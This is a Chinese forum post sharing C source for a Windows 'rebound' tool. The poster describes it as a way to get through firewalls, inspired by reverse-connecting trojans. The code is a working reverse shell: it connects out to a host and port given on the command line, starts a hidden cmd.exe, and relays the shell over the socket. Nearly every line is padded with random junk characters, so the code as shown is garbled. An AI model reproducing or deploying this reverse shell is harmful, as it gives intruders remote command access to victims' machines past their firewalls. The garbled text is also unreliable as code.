社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3299阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]TK=>;&  
t&c&KFK)I&  
/* ============================== pZ+j[!  
Rebound port in Windows NT T$b\Q  
By wind,2006/7 D6=HYqdj  
===============================*/ <jd/t19DB  
#include hWGZd~L  
#include gOE_ ]  
gM_:l  
#pragma comment(lib,"wsock32.lib") {HZS:AV0  
zS% m_,t  
void OutputShell(); Fu0.~w  
SOCKET sClient; Xt(! a  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ySruAkw%  
mC(u2  
void main(int argc,char **argv) \ sf!  
{ %yw=[]Vjze  
WSADATA stWsaData; 8[\ 79|  
int nRet; O@`J_9  
SOCKADDR_IN stSaiClient,stSaiServer; c2b6B.4  
_:,.yRez  
if(argc != 3) w yD%x(  
{ I #l;~a<9z  
printf("Useage:\n\rRebound DestIP DestPort\n");  [y{E  
return; ~PUsgL^  
} =49o U  
!d4HN.a7+u  
WSAStartup(MAKEWORD(2,2),&stWsaData); T8q[7Zn  
:c;_a-69  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a"qR J-@  
oYq,u@oM  
stSaiClient.sin_family = AF_INET; sQ(1/"gb  
stSaiClient.sin_port = htons(0); lS{4dvr?w  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); lV7IHX1P  
4 ?2g&B\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n2 na9dX)w  
{ 0}-#b7eR  
printf("Bind Socket Failed!\n"); RdkU2Y}V  
return; B007x{-L  
} B/u*<k4  
ZKsQ2"8{M  
stSaiServer.sin_family = AF_INET; tMG@K  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ||gEs/6-  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IuKnM`X  
K50t%yu#T]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) nL\ZId  
{ nh.b/\o  
printf("Connect Error!"); le2/Zs$  
return; v|y<_Ya  
} qnTi_c  
OutputShell(); `Of[{.Q  
} @fDQ^ 4  
NV(fN-L  
void OutputShell() [#zE. TW  
{ JB'qiuhab  
char szBuff[1024]; <"NyC?b+G  
SECURITY_ATTRIBUTES stSecurityAttributes; Uk"Y/Ddm  
OSVERSIONINFO stOsversionInfo; 6 <r2*`  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 09x+Tko9;*  
STARTUPINFO stStartupInfo; \vs%U}IrO  
char *szShell; !SN WB  
PROCESS_INFORMATION stProcessInformation; u mqKFM$  
unsigned long lBytesRead; wV %8v\  
V4oak!}?  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); d.b?! kn  
dWIZ37w+D  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |3"NwM>  
stSecurityAttributes.lpSecurityDescriptor = 0; $OT}`Te~  
stSecurityAttributes.bInheritHandle = TRUE; /9TL&_A-T  
N7+#9S5fv  
jXH0BPa,  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); aC}vJ93i  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); xtu]F  
n1JC?+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Yg|l?d"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $KH@,;Xz  
stStartupInfo.wShowWindow = SW_HIDE; wC(XRqlE  
stStartupInfo.hStdInput = hReadPipe; E.U0qK],  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; sMN>wbHwh[  
2Z-,c;21  
GetVersionEx(&stOsversionInfo); p( HyRCH  
"sSjVu  
switch(stOsversionInfo.dwPlatformId) [ArO$X3\  
{ (,d/JnP  
case 1: vsw7|  
szShell = "command.com"; lbG}noqb  
break; j& <tdORT  
default: B5 tx f.  
szShell = "cmd.exe"; a5>)?m  
break; \&# p1K(H  
} {4o\S  
g8rp|MOH  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _u`B3iG  
6S2r  
send(sClient,szMsg,77,0); i)GeX:  
while(1) olHH9R9:  
{ vx PDC~3;  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); #?A]v>I;C  
if(lBytesRead) CF,8f$:2  
{ J]$er0`LY  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); )Xq@v']%~9  
send(sClient,szBuff,lBytesRead,0); HgS<Vxmq  
} K:Mujx:  
else - a   
{ `X3Xz!  
lBytesRead=recv(sClient,szBuff,1024,0); rO5u~"v]  
if(lBytesRead<=0) break; 1mY+0  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); XX*'N+  
} 8H&_,;  
} rL.<Z@ -  
^l&nB.  
return; -qs(2^  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五